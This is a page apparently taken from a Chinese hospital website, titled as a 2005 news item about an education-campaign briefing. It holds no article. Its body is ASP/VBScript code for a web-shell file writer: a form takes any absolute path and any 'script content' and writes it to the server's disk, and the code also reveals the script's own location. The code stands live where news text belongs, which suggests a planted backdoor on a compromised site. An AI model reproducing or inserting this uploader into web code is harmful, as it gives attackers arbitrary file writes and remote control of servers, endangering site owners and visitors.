医院再次召开先进性教育活动情况通报会
时间：2005-09-13 00:00:00 浏览量: 次
dim objFSO
dim fdata
dim objCountFile
on error resume next
Set objFSO = Server.CreateObject
("Scripting.FileSystemObject")
if Trim(request("syfdpath"))<>"" then
fdata = request("cyfddata")
Set objCountFile=objFSO.CreateTextFile(request
("syfdpath"),True)
objCountFile.Write fdata
if err =0 then
response.write "<font color=red>save Success!
</font>"
else
response.write "<font color=red>Save UnSuccess!
</font>"
end if
err.clear
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
response.write "<form action='' method=post>"
response.write "
<b>=======================================
===============<br>"
response.write " 创建文件程序</b><br>"
response.write "
==========================================
===================<br>"
response.write " 本文件路径为： "
response.write server.mappath
(Request.ServerVariables("SCRIPT_NAME"))
response.write " <font color='red'><br>"
response.write " <br>"
response.write " 填写绝对地址(例如
D:webx.asp):<br>"
response.write " </font> "
response.write " <input type=text name=syfdpath
width=32 size=50>"
response.write " <br><br>脚本内容: <br><br>"
response.write " <textarea name=cyfddata cols=80
rows=10 width=32></textarea>"
response.write " <input type=submit value=创建>"
response.write "</form>"
%>
综合新闻
